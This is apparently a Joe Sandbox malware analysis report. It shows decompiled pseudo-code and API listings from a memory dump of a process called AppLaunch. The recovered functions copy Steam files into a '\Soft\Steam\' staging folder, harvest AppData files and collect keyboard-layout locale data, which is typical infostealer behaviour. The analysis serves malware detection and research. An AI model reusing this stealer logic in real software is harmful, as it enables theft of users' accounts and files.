0x00428b8c
0x00000000
0x00000000
0x00000000
0x00000000
0x00428b8c
0x00428b83
0x00428b7a
0x00428b4a
0x004287d4
0x004287d4
0x004287e2
0x004287ec
0x004287ec
0x0042879e
0x0042879e
0x004287a3
0x004287ae
0x004287b8
0x004287b8
0x0042879c
0x0042857a
0x00428531
0x0042845d
0x00428468
0x00428472
0x00428472
0x0042843f
0x00428454
0x00428454

Strings

UT, xrefs: 0042876C

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID:
String ID: UT
API String ID: 0-894488996
Opcode ID: 1f9e316d991b1cabffdbb6b6b53d8c5c41b2ad0ef62bd3c2186655397cf748da
Instruction ID: b0e8f2d141c94a42a83382321140def2fd1a44c52f2bc2ded6b4dbb0879973ca
Opcode Fuzzy Hash: 1f9e316d991b1cabffdbb6b6b53d8c5c41b2ad0ef62bd3c2186655397cf748da
Instruction Fuzzy Hash: FD42C4B1B013698BCB24CF25E8407AEB7F1EF45314F5444AED989A7341DB389E84CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0040F710 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 102
stringfileCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E0040F710(void* __ebx, CHAR* __esi, intOrPtr _a4) {
				signed int _v12;
				char _v280;
				char _v544;
				char _v808;
				struct _WIN32_FIND_DATAA _v1128;
				void* __edi;
				signed int _t22;
				int _t27;
				intOrPtr* _t44;
				void* _t46;
				void* _t59;
				CHAR* _t60;
				signed int _t61;
				void* _t62;
				void* _t63;

				_t60 = __esi;
				_t46 = __ebx;
				_t22 =  *0x450664; // 0x30e242aa
				_v12 = _t22 ^ _t61;
				wsprintfA( &_v808, "%s\\%s", __esi, _a4);
				_t63 = _t62 + 0x10;
				_t55 =  &_v808;
				_t27 = FindFirstFileA( &_v808,  &_v1128); // executed
				_t59 = _t27;
				if(_t59 == 0xffffffff) {
					L11:
					return E00429B16(_t27, _t46, _v12 ^ _t61, _t55, _t59, _t60);
				} else {
					do {
						_push(".");
						_push( &(_v1128.cFileName));
						if( *0x453510() != 0) {
							_push("..");
							_push( &(_v1128.cFileName));
							if( *0x453510() != 0) {
								L00429B30( &_v544, 0, 0x104);
								L00429B30( &_v280, 0, 0x104);
								_t63 = _t63 + 0x18;
								lstrcatA( &_v544, "\\Soft\\Steam\\");
								lstrcatA( &_v544,  &(_v1128.cFileName));
								lstrcatA( &_v280, _t60);
								_t55 =  &_v280;
								lstrcatA( &_v280, "\\");
								lstrcatA( &_v280,  &(_v1128.cFileName));
								_t44 =  *0x4532ac; // 0x0
								if(_t44 != 0) {
									if( *_t44 == 2) {
										_t55 =  &_v280;
										 *0x4537d4 = E00428410( *((intOrPtr*)(_t44 + 4)),  &_v280,  &_v544, 0, 2);
									} else {
										 *0x4537d4 = 0x80000;
									}
								} else {
									 *0x4537d4 = 0x10000;
								}
							}
						}
					} while (FindNextFileA(_t59,  &_v1128) != 0);
					_t27 = FindClose(_t59);
					goto L11;
				}
			}

0x0040f710
0x0040f710
0x0040f719
0x0040f720
0x0040f735
0x0040f73b
0x0040f745
0x0040f74c
0x0040f752
0x0040f757
0x0040f87b
0x0040f889
0x0040f760
0x0040f760
0x0040f760
0x0040f76b
0x0040f774
0x0040f77a
0x0040f785
0x0040f78e
0x0040f7a2
0x0040f7b8
0x0040f7bd
0x0040f7cc
0x0040f7e0
0x0040f7ee
0x0040f7f9
0x0040f800
0x0040f814
0x0040f81a
0x0040f821
0x0040f832
0x0040f84e
0x0040f859
0x0040f834
0x0040f834
0x0040f834
0x0040f823
0x0040f823
0x0040f823
0x0040f821
0x0040f78e
0x0040f86c
0x0040f875
0x00000000
0x0040f875

APIs

wsprintfA.USER32 ref: 0040F735
FindFirstFileA.KERNEL32(?,?), ref: 0040F74C
StrCmpCA.SHLWAPI(?,0044A810), ref: 0040F76C
StrCmpCA.SHLWAPI(?,0044A814), ref: 0040F786
_memset.LIBCMT ref: 0040F7A2
_memset.LIBCMT ref: 0040F7B8
lstrcatA.KERNEL32(?,\Soft\Steam\), ref: 0040F7CC
lstrcatA.KERNEL32(?,?), ref: 0040F7E0
lstrcatA.KERNEL32(?), ref: 0040F7EE
lstrcatA.KERNEL32(?,004485EC), ref: 0040F800
lstrcatA.KERNEL32(?,?), ref: 0040F814
FindNextFileA.KERNEL32(00000000,?), ref: 0040F866
FindClose.KERNEL32(00000000), ref: 0040F875

Strings

\Soft\Steam\, xrefs: 0040F7C0
%s\%s, xrefs: 0040F72F

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File_memset$CloseFirstNextwsprintf
String ID: %s\%s$\Soft\Steam\
API String ID: 2894742787-2995071678
Opcode ID: 2872ca96d67dc68853a904e0c920458db649e07f3ee8e260114898beeb5fb4dc
Instruction ID: 21cfe282679b85467eea5fbcdbb19892ff618f56f6fc825ebf7ba3bd5ebb38b0
Opcode Fuzzy Hash: 2872ca96d67dc68853a904e0c920458db649e07f3ee8e260114898beeb5fb4dc
Instruction Fuzzy Hash: A141B4B2600318ABC720EF60DD49FEA7778EB44742F4044BAB20597181EB34EB48CF69

Uniqueness

Uniqueness Score: -1.00%

Function 00418180 Relevance: 26.0, APIs: 17, Instructions: 510
stringCOMMONCrypto

Download Yara Rule

C-Code - Quality: 60%

			E00418180(intOrPtr _a4) {
				char _v8;
				char _v16;
				signed int _v24;
				char _v1024;
				void* _v2024;
				char _v3024;
				void* _v4024;
				char _v4032;
				intOrPtr _v4036;
				void* _v4040;
				char _v4052;
				intOrPtr _v4060;
				char _v4064;
				char _v4080;
				intOrPtr _v4088;
				char _v4092;
				char _v4108;
				intOrPtr _v4116;
				char _v4120;
				char _v4136;
				intOrPtr _v4144;
				char _v4148;
				char _v4164;
				intOrPtr _v4172;
				char _v4176;
				char _v4192;
				intOrPtr _v4200;
				char _v4220;
				intOrPtr* _v4224;
				signed int _v4232;
				intOrPtr* _v4236;
				void* _v4240;
				intOrPtr _v4244;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t188;
				signed int _t189;
				CHAR* _t207;
				void* _t219;
				intOrPtr* _t222;
				void* _t223;
				intOrPtr* _t226;
				intOrPtr* _t227;
				void* _t234;
				void* _t236;
				void* _t240;
				intOrPtr _t241;
				void* _t256;
				void* _t257;
				void* _t262;
				intOrPtr _t263;
				intOrPtr* _t264;
				intOrPtr _t265;
				void* _t274;
				void* _t275;
				void* _t276;
				CHAR* _t277;
				intOrPtr* _t278;
				CHAR* _t280;
				intOrPtr* _t281;
				signed int _t285;
				CHAR* _t290;
				CHAR* _t294;
				char _t298;
				intOrPtr* _t311;
				intOrPtr* _t320;
				signed int _t338;
				void* _t341;
				char* _t344;
				char* _t345;
				short* _t346;
				short* _t347;
				void* _t348;
				void* _t362;
				intOrPtr _t364;
				intOrPtr* _t365;
				short* _t366;
				void* _t367;
				intOrPtr* _t368;
				intOrPtr _t369;
				signed int _t370;
				void* _t371;
				char* _t378;
				void* _t379;
				char* _t380;
				void* _t381;

				E00438A70(0x1088);
				_t188 =  *0x450664; // 0x30e242aa
				_t189 = _t188 ^ _t370;
				_v24 = _t189;
				 *[fs:0x0] =  &_v16;
				_t275 = 0;
				_v4244 = _a4;
				L00429B30( &_v4024, 0, 0x3e8);
				_t285 = 0 |  *0x4534c0(0, 0x1a, 0, 0,  &_v4024, _t189, _t341, _t362, _t274,  *[fs:0x0], 0x43ebe5, 0xffffffff) < 0x00000000;
				_v4172 = 0xf;
				_v4176 = 0;
				_v4192 = 0;
				_t13 = _t285 - 1; // -1
				E004050C0( &_v4192, _t13 &  &_v4024, L00429C90(_t13 &  &_v4024));
				_v8 = 0;
				L00429B30( &_v1024, 0, 0x3e8);
				L00429B30( &_v3024, 0, 0x3e8);
				L00429B30( &_v2024, 0, 0x3e8);
				_t23 = (0 |  *0x4534c0(0x1a, 0, 0,  &_v2024) < 0x00000000) - 1; // -1
				lstrcatA( &_v1024, _t23 &  &_v2024);
				_t290 =  *0x452e28; // 0x5098c78
				lstrcatA( &_v1024, _t290);
				_t207 =  *0x452aec; // 0x509cc08
				lstrcatA( &_v1024, _t207);
				L00429B30( &_v2024, 0, 0x3e8);
				_t32 = (0 |  *0x4534c0() < 0x00000000) - 1; // -1
				lstrcatA( &_v3024, _t32 &  &_v2024);
				_t294 =  *0x452fbc; // 0x509bc68
				lstrcatA( &_v3024, _t294);
				lstrcatA( &_v3024, "*");
				_t378 = _t371 + 0x40 - 0x1c;
				_t344 = _t378;
				_v4224 = _t378;
				 *((intOrPtr*)(_t344 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t344 + 0x10)) = 0;
				 *_t344 = 0;
				_t219 = L00429C90( &_v1024);
				_t379 = _t378 + 4;
				E004050C0(_t344,  &_v1024, _t219);
				E00420890( &_v4240,  *0x4534c0(), 0, 0x1a, 0, 0,  &_v2024, 0); // executed
				_v8 = 1;
				_t222 = _v4236;
				_t298 = _v4240;
				_v4224 = _t222;
				_t364 = _t298;
				_t388 = _t298 - _t222;
				if(_t298 == _t222) {
					L25:
					_t380 = _t379 - 0x1c;
					_t345 = _t380;
					_t333 =  &_v3024;
					_v4224 = _t380;
					 *((intOrPtr*)(_t345 + 0x14)) = 0xf;
					 *((intOrPtr*)(_t345 + 0x10)) = _t275;
					 *_t345 = _t275;
					_t223 = L00429C90( &_v3024);
					_t381 = _t380 + 4;
					E004050C0(_t345,  &_v3024, _t223);
					_t226 = E00420890( &_v4040, _t398); // executed
					_t365 = _t226;
					if( &_v4240 != _t365) {
						_t248 = _v4240;
						if(_v4240 != _t275) {
							E00413240(_t248, _v4236);
							_push(_v4240);
							E00429B0B();
							_t381 = _t381 + 4;
						}
						_v4240 = _t275;
						_v4236 = _t275;
						_v4232 = _t275;
						_v4240 =  *_t365;
						_v4236 =  *((intOrPtr*)(_t365 + 4));
						_t333 =  *((intOrPtr*)(_t365 + 8));
						_v4232 =  *((intOrPtr*)(_t365 + 8));
						 *_t365 = _t275;
						 *((intOrPtr*)(_t365 + 4)) = _t275;
						 *((intOrPtr*)(_t365 + 8)) = _t275;
					}
					_v8 = 1;
					_t346 = _v4040;
					if(_t346 == _t275) {
						L36:
						_t227 = _v4236;
						_t347 = _v4240;
						_v4224 = _t227;
						_t366 = _t347;
						_t405 = _t347 - _t227;
						if(_t347 == _t227) {
							L61:
							if(_t347 == _t275) {
								L68:
								_v4240 = _t275;
								_v4236 = _t275;
								_v4232 = _t275;
								if(_v4172 >= 0x10) {
									_push(_v4192);
									_t227 = E00429B0B();
								}
								 *[fs:0x0] = _v16;
								_pop(_t348);
								_pop(_t367);
								_pop(_t276);
								return E00429B16(_t227, _t276, _v24 ^ _t370, _t333, _t348, _t367);
							}
							_t368 = _t227;
							if(_t347 == _t227) {
								L67:
								_push(_t347);
								_t227 = E00429B0B();
								_t381 = _t381 + 4;
								goto L68;
							} else {
								goto L63;
							}
							do {
								L63:
								if( *((intOrPtr*)(_t347 + 0x14)) >= 8) {
									_t333 =  *_t347;
									_push( *_t347);
									E00429B0B();
									_t381 = _t381 + 4;
								}
								 *((intOrPtr*)(_t347 + 0x14)) = 7;
								 *((intOrPtr*)(_t347 + 0x10)) = _t275;
								 *_t347 = 0;
								_t347 = _t347 + 0x1c;
							} while (_t347 != _t368);
							_t347 = _v4240;
							goto L67;
						} else {
							goto L37;
						}
						do {
							L37:
							_v4032 = 7;
							_v4036 = _t275;
							_v4052 = 0;
							E004130C0( &_v4052, _t366, _t275);
							_v8 = 9;
							_t234 = L00420540( &_v4052,  &_v4220);
							_v8 = 0xa;
							_t277 =  *0x452fbc; // 0x509bc68
							_t236 = E004109C0(_t277, _t405,  &_v4164,  &_v4192);
							_v8 = 0xb;
							_t278 = L00405600(_t234, _t236,  &_v4080);
							_v8 = 0xc;
							_t240 = L00420540( &_v4052,  &_v4108);
							_v8 = 0xd;
							_t241 =  *0x452cec; // 0x509b058
							_t227 = L004055B0(_t241,  &_v4136, _t240);
							_t381 = _t381 + 0x10;
							_v8 = 0xe;
							if( *((intOrPtr*)(_t278 + 0x14)) < 0x10) {
								_t333 = _t278;
							} else {
								_t333 =  *_t278;
							}
							if( *((intOrPtr*)(_t227 + 0x14)) >= 0x10) {
								_t227 =  *_t227;
							}
							_t311 =  *((intOrPtr*)(_v4244 + 0x20));
							if(_t311 != 0) {
								__eflags =  *_t311 - 2;
								if( *_t311 == 2) {
									_t227 = E00428410( *((intOrPtr*)(_t311 + 4)), _t333, _t227, 0, 2); // executed
									 *0x4537d4 = _t227;
								} else {
									 *0x4537d4 = 0x80000;
								}
							} else {
								 *0x4537d4 = 0x10000;
							}
							if(_v4116 >= 0x10) {
								_t333 = _v4136;
								_push(_v4136);
								_t227 = E00429B0B();
								_t381 = _t381 + 4;
							}
							_v4116 = 0xf;
							_v4120 = 0;
							_v4136 = 0;
							if(_v4088 >= 0x10) {
								_push(_v4108);
								_t227 = E00429B0B();
								_t381 = _t381 + 4;
							}
							_v4088 = 0xf;
							_v4092 = 0;
							_v4108 = 0;
							if(_v4060 >= 0x10) {
								_push(_v4080);
								_t227 = E00429B0B();
								_t381 = _t381 + 4;
							}
							_v4060 = 0xf;
							_v4064 = 0;
							_v4080 = 0;
							if(_v4144 >= 0x10) {
								_t333 = _v4164;
								_push(_v4164);
								_t227 = E00429B0B();
								_t381 = _t381 + 4;
							}
							_v4144 = 0xf;
							_v4148 = 0;
							_v4164 = 0;
							if(_v4200 >= 0x10) {
								_push(_v4220);
								_t227 = E00429B0B();
								_t381 = _t381 + 4;
							}
							_v8 = 1;
							if(_v4032 >= 8) {
								_push(_v4052);
								_t227 = E00429B0B();
								_t381 = _t381 + 4;
							}
							_t366 = _t366 + 0x1c;
							_t275 = 0;
						} while (_t366 != _v4224);
						_t227 = _v4236;
						_t347 = _v4240;
						goto L61;
					} else {
						_t369 = _v4036;
						if(_t346 == _t369) {
							L35:
							_push(_t346);
							E00429B0B();
							_t381 = _t381 + 4;
							goto L36;
						} else {
							goto L31;
						}
						do {
							L31:
							if( *((intOrPtr*)(_t346 + 0x14)) >= 8) {
								_push( *_t346);
								E00429B0B();
								_t381 = _t381 + 4;
							}
							 *((intOrPtr*)(_t346 + 0x14)) = 7;
							 *((intOrPtr*)(_t346 + 0x10)) = _t275;
							 *_t346 = 0;
							_t346 = _t346 + 0x1c;
						} while (_t346 != _t369);
						_t346 = _v4040;
						goto L35;
					}
				} else {
					do {
						_v4052 = 0;
						_v4032 = 7;
						_v4036 = _t275;
						E004130C0( &_v4052, _t364, _t275);
						_v8 = 2;
						_t256 = L00420540( &_v4052,  &_v4220);
						_v8 = 3;
						_t280 =  *0x452e28; // 0x5098c78
						_t257 = E004109C0(_t280, _t388,  &_v4136,  &_v4192);
						_v8 = 4;
						_t281 = L00405600(_t256, _t257,  &_v4108);
						_v8 = 5;
						_t262 = L00420540( &_v4052,  &_v4080);
						_v8 = 6;
						_t263 =  *0x452c78; // 0x5099010
						_t264 = L004055B0(_t263,  &_v4164, _t262);
						_t379 = _t379 + 0x10;
						_v8 = 7;
						if( *((intOrPtr*)(_t281 + 0x14)) < 0x10) {
							_t338 = _t281;
						} else {
							_t338 =  *_t281;
						}
						if( *((intOrPtr*)(_t264 + 0x14)) >= 0x10) {
							_t264 =  *_t264;
						}
						_t320 =  *((intOrPtr*)(_v4244 + 0x20));
						if(_t320 != 0) {
							__eflags =  *_t320 - 2;
							if( *_t320 == 2) {
								_t265 = E00428410( *((intOrPtr*)(_t320 + 4)), _t338, _t264, 0, 2); // executed
								 *0x4537d4 = _t265;
							} else {
								 *0x4537d4 = 0x80000;
							}
						} else {
							 *0x4537d4 = 0x10000;
						}
						if(_v4144 >= 0x10) {
							_push(_v4164);
							E00429B0B();
							_t379 = _t379 + 4;
						}
						_v4144 = 0xf;
						_v4148 = 0;
						_v4164 = 0;
						if(_v4060 >= 0x10) {
							_push(_v4080);
							E00429B0B();
							_t379 = _t379 + 4;
						}
						_v4060 = 0xf;
						_v4064 = 0;
						_v4080 = 0;
						if(_v4088 >= 0x10) {
							_push(_v4108);
							E00429B0B();
							_t379 = _t379 + 4;
						}
						_v4088 = 0xf;
						_v4092 = 0;
						_v4108 = 0;
						if(_v4116 >= 0x10) {
							_push(_v4136);
							E00429B0B();
							_t379 = _t379 + 4;
						}
						_v4116 = 0xf;
						_v4120 = 0;
						_v4136 = 0;
						if(_v4200 >= 0x10) {
							_push(_v4220);
							E00429B0B();
							_t379 = _t379 + 4;
						}
						_v8 = 1;
						if(_v4032 >= 8) {
							_push(_v4052);
							E00429B0B();
							_t379 = _t379 + 4;
						}
						_t364 = _t364 + 0x1c;
						_t275 = 0;
						_t398 = _t364 - _v4224;
					} while (_t364 != _v4224);
					goto L25;
				}
			}

0x00418196
0x0041819b
0x004181a0
0x004181a2
0x004181ac
0x004181ba
0x004181c4
0x004181ca
0x004181e8
0x004181f6
0x004181fc
0x00418202
0x00418208
0x0041821e
0x00418230
0x00418233
0x00418248
0x0041825d
0x00418284
0x00418291
0x00418297
0x004182a5
0x004182ab
0x004182b8
0x004182cb
0x004182f2
0x004182ff
0x00418305
0x00418313
0x00418325
0x0041832b
0x0041832e
0x00418336
0x0041833c
0x0041833f
0x00418343
0x00418345
0x0041834a
0x00418357
0x00418362
0x00418367
0x0041836b
0x00418371
0x00418377
0x0041837d
0x0041837f
0x00418381
0x00418578
0x00418578
0x0041857b
0x0041857d
0x00418583
0x00418589
0x00418590
0x00418594
0x00418596
0x0041859b
0x004185a8
0x004185b3
0x004185b8
0x004185c2
0x004185c4
0x004185cc
0x004185d4
0x004185df
0x004185e0
0x004185e5
0x004185e5
0x004185e8
0x004185ee
0x004185f4
0x004185fc
0x00418605
0x0041860b
0x0041860e
0x00418614
0x00418616
0x00418619
0x00418619
0x0041861c
0x00418620
0x00418628
0x0041866a
0x0041866a
0x00418670
0x00418676
0x0041867c
0x0041867e
0x00418680
0x0041887a
0x0041887c
0x004188ba
0x004188c1
0x004188c7
0x004188cd
0x004188d3
0x004188db
0x004188dc
0x004188e1
0x004188e7
0x004188ef
0x004188f0
0x004188f1
0x004188ff
0x004188ff
0x0041887e
0x00418882
0x004188b1
0x004188b1
0x004188b2
0x004188b7
0x00000000
0x00000000
0x00000000
0x00000000
0x00418884
0x00418884
0x00418888
0x0041888a
0x0041888c
0x0041888d
0x00418892
0x00418892
0x00418897
0x0041889e
0x004188a1
0x004188a4
0x004188a7
0x004188ab
0x00000000
0x00000000
0x00000000
0x00000000
0x00418686
0x00418686
0x00418693
0x0041869d
0x004186a3
0x004186aa
0x004186b7
0x004186bb
0x004186cf
0x004186d3
0x004186da
0x004186ea
0x004186f6
0x00418704
0x00418708
0x0041870d
0x00418712
0x0041871d
0x00418722
0x0041872a
0x00418731
0x00418737
0x00418733
0x00418733
0x00418733
0x0041873c
0x0041873e
0x0041873e
0x00418746
0x0041874d
0x0041875b
0x0041875e
0x00418773
0x00418778
0x00418760
0x00418760
0x00418760
0x0041874f
0x0041874f
0x0041874f
0x00418783
0x00418785
0x0041878b
0x0041878c
0x00418791
0x00418791
0x004187a0
0x004187a6
0x004187ac
0x004187b2
0x004187ba
0x004187bb
0x004187c0
0x004187c0
0x004187ca
0x004187d0
0x004187d6
0x004187dc
0x004187e4
0x004187e5
0x004187ea
0x004187ea
0x004187f4
0x004187fa
0x00418800
0x00418806
0x00418808
0x0041880e
0x0041880f
0x00418814
0x00418814
0x0041881e
0x00418824
0x0041882a
0x00418830
0x00418838
0x00418839
0x0041883e
0x0041883e
0x00418841
0x0041884c
0x00418854
0x00418855
0x0041885a
0x0041885a
0x0041885d
0x00418860
0x00418862
0x0041886e
0x00418874
0x00000000
0x0041862a
0x0041862a
0x00418632
0x00418661
0x00418661
0x00418662
0x00418667
0x00000000
0x00000000
0x00000000
0x00000000
0x00418634
0x00418634
0x00418638
0x0041863c
0x0041863d
0x00418642
0x00418642
0x00418647
0x0041864e
0x00418651
0x00418654
0x00418657
0x0041865b
0x00000000
0x0041865b
0x00418387
0x00418390
0x00418393
0x004183a4
0x004183ae
0x004183b4
0x004183c1
0x004183c5
0x004183d9
0x004183dd
0x004183e4
0x004183f4
0x00418400
0x0041840e
0x00418412
0x00418417
0x0041841c
0x00418427
0x0041842c
0x00418434
0x0041843b
0x00418441
0x0041843d
0x0041843d
0x0041843d
0x00418446
0x00418448
0x00418448
0x00418450
0x00418457
0x00418465
0x00418468
0x0041847d
0x00418482
0x0041846a
0x0041846a
0x0041846a
0x00418459
0x00418459
0x00418459
0x0041848d
0x00418495
0x00418496
0x0041849b
0x0041849b
0x004184aa
0x004184b0
0x004184b6
0x004184bc
0x004184c4
0x004184c5
0x004184ca
0x004184ca
0x004184d4
0x004184da
0x004184e0
0x004184e6
0x004184ee
0x004184ef
0x004184f4
0x004184f4
0x004184fe
0x00418504
0x0041850a
0x00418510
0x00418518
0x00418519
0x0041851e
0x0041851e
0x00418528
0x0041852e
0x00418534
0x0041853a
0x00418542
0x00418543
0x00418548
0x00418548
0x0041854b
0x00418556
0x0041855e
0x0041855f
0x00418564
0x00418564
0x00418567
0x0041856a
0x0041856c
0x0041856c
0x00000000
0x00418390

APIs

_memset.LIBCMT ref: 004181CA
SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,00000000,?,?,?,?,?,00000000), ref: 004181DE
_strlen.LIBCMT ref: 0041820E
_memset.LIBCMT ref: 00418233
_memset.LIBCMT ref: 00418248
_memset.LIBCMT ref: 0041825D
SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,?,?,?,?,?,?,?,-00000001,00000000), ref: 00418271
lstrcatA.KERNEL32(?,-00000001,?,?,?,?,?,?,?,-00000001,00000000), ref: 00418291
lstrcatA.KERNEL32(?,05098C78,?,?,?,?,?,?,?,-00000001,00000000), ref: 004182A5
lstrcatA.KERNEL32(?,0509CC08,?,?,?,?,?,?,?,-00000001,00000000), ref: 004182B8
_memset.LIBCMT ref: 004182CB
SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,-00000001), ref: 004182DF
lstrcatA.KERNEL32(?,-00000001,?,?,?,?,?,?,?,?,?,?,-00000001,00000000), ref: 004182FF
lstrcatA.KERNEL32(?,0509BC68,?,?,?,?,?,?,?,?,?,?,-00000001,00000000), ref: 00418313
lstrcatA.KERNEL32(?,0044ABD4,?,?,?,?,?,?,?,?,?,?,-00000001,00000000), ref: 00418325
_strlen.LIBCMT ref: 00418345

Part of subcall function 00420890: FindFirstFileW.KERNEL32(00000000,?,30E242AA,?,0000000F,00000000), ref: 004208F4
Part of subcall function 00420890: _wcslen.LIBCMT ref: 00420947
Part of subcall function 00420890: FindNextFileW.KERNEL32(?,?,00000000), ref: 0042098E
Part of subcall function 00420890: _wcslen.LIBCMT ref: 004209B3

_strlen.LIBCMT ref: 00418596

Part of subcall function 004130C0: std::_Xinvalid_argument.LIBCPMT ref: 004130D7

Part of subcall function 00420540: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,00000000), ref: 0042056E
Part of subcall function 00420540: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000000,00000000,0041FD7B,00000000,00000000), ref: 0042059C
Part of subcall function 00420540: _strlen.LIBCMT ref: 004205B4

Part of subcall function 004109C0: _strlen.LIBCMT ref: 00410A0A
Part of subcall function 004109C0: _strlen.LIBCMT ref: 00410A50

Part of subcall function 004055B0: _strlen.LIBCMT ref: 004055C2

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: _strlen$lstrcat$_memset$FolderPath$ByteCharFileFindMultiWide_wcslen$FirstNextXinvalid_argumentstd::_
String ID:
API String ID: 3860973101-0
Opcode ID: 38d8fdfefc47da704c591aa07c6f99b9863450bf5c16e2496a297355561566c8
Instruction ID: a375a7c85abdd0813d9e3ba79a770be1fd9297797fdd3d69d023153fe9b40daa
Opcode Fuzzy Hash: 38d8fdfefc47da704c591aa07c6f99b9863450bf5c16e2496a297355561566c8
Instruction Fuzzy Hash: 622280B1D002699BDB20DF25DD80AEEB7B5BB48304F5444EEE049A7241EB78AEC4CF55

Uniqueness

Uniqueness Score: -1.00%

Function 0041F640 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 82
memoryCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E0041F640() {
				signed int _v8;
				char _v520;
				CHAR* _v524;
				int _v528;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t16;
				void* _t19;
				int _t23;
				void* _t34;
				int _t40;
				int _t41;
				signed int _t42;
				signed int _t43;
				void* _t44;
				void* _t45;

				_t16 =  *0x450664; // 0x30e242aa
				_v8 = _t16 ^ _t43;
				_t19 = RtlAllocateHeap(GetProcessHeap(), 0, 0x1f4);
				_t40 = 0;
				_v524 = _t19;
				_t41 = GetKeyboardLayoutList(0, 0);
				_t34 = LocalAlloc(0x40, _t41 * 4);
				_t23 = GetKeyboardLayoutList(_t41, _t34);
				_t42 = 0;
				_v528 = _t23;
				if(_t23 != 0) {
					do {
						_t39 =  *(_t34 + _t42 * 4) & 0x0000ffff;
						GetLocaleInfoA( *(_t34 + _t42 * 4) & 0x0000ffff, 2,  &_v520, 0x200); // executed
						if(_t40 == 0) {
							_t39 = _v524;
							wsprintfA(_v524, "%s",  &_v520);
							_t45 = _t44 + 0xc;
						} else {
							wsprintfA(_v524, "%s / %s", _v524,  &_v520);
							_t45 = _t44 + 0x10;
						}
						_t40 = _t40 + 1;
						L00429B30( &_v520, 0, 0x200);
						_t42 = _t42 + 1;
						_t44 = _t45 + 0xc;
					} while (_t42 < _v528);
				}
				if(_t34 != 0) {
					LocalFree(_t34);
				}
				_t14 =  &_v8; // 0x40ee79
				return E00429B16(_v524, _t34,  *_t14 ^ _t43, _t39, _t40, _t42);
			}

0x0041f649
0x0041f650
0x0041f664
0x0041f66a
0x0041f66e
0x0041f67a
0x0041f68c
0x0041f690
0x0041f696
0x0041f698
0x0041f6a0
0x0041f6b0
0x0041f6b0
0x0041f6c3
0x0041f6cb
0x0041f6ec
0x0041f6ff
0x0041f705
0x0041f6cd
0x0041f6e1
0x0041f6e7
0x0041f6e7
0x0041f716
0x0041f717
0x0041f71c
0x0041f71d
0x0041f720
0x0041f6b0
0x0041f72a
0x0041f72d
0x0041f72d
0x0041f733
0x0041f749

APIs

GetProcessHeap.KERNEL32(00000000,000001F4,00000010,0000000F,00000000), ref: 0041F65D
RtlAllocateHeap.NTDLL(00000000), ref: 0041F664
GetKeyboardLayoutList.USER32(00000000,00000000), ref: 0041F674
LocalAlloc.KERNEL32(00000040,00000000), ref: 0041F686
GetKeyboardLayoutList.USER32(00000000,00000000), ref: 0041F690
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 0041F6C3
wsprintfA.USER32 ref: 0041F6E1
wsprintfA.USER32 ref: 0041F6FF
_memset.LIBCMT ref: 0041F717
LocalFree.KERNEL32(00000000), ref: 0041F72D

Strings

y@, xrefs: 0041F733
%s / %s, xrefs: 0041F6DB

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: HeapKeyboardLayoutListLocalwsprintf$AllocAllocateFreeInfoLocaleProcess_memset
String ID: %s / %s$y@
API String ID: 1138174621-730505845
Opcode ID: a875050891a4a3975ba37f372c8800c30c8710c52ea11755ad295bd295c9cf3b
